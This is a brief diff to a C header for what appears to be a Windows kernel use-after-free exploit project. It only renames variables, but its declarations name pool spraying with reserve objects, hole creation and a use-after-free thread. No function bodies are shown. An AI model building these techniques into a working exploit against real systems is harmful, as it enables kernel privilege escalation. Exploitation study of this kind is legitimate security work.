HANDLE hReserveObjectArrayA[10000]; - HANDLE hReserveObjectArrayB[5000]; + HANDLE ReserveObjectArrayA[10000]; + HANDLE ReserveObjectArrayB[5000]; VOID FreeReserveObjects(); VOID SprayNonPagedPoolWithReserveObjects(); - DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter); + DWORD WINAPI UseAfterFreeThread(LPVOID Parameter); VOID CreateHolesInNonPagedPoolByClosingReserveObjects(); #endif //__USE_AFTER_FREE_H__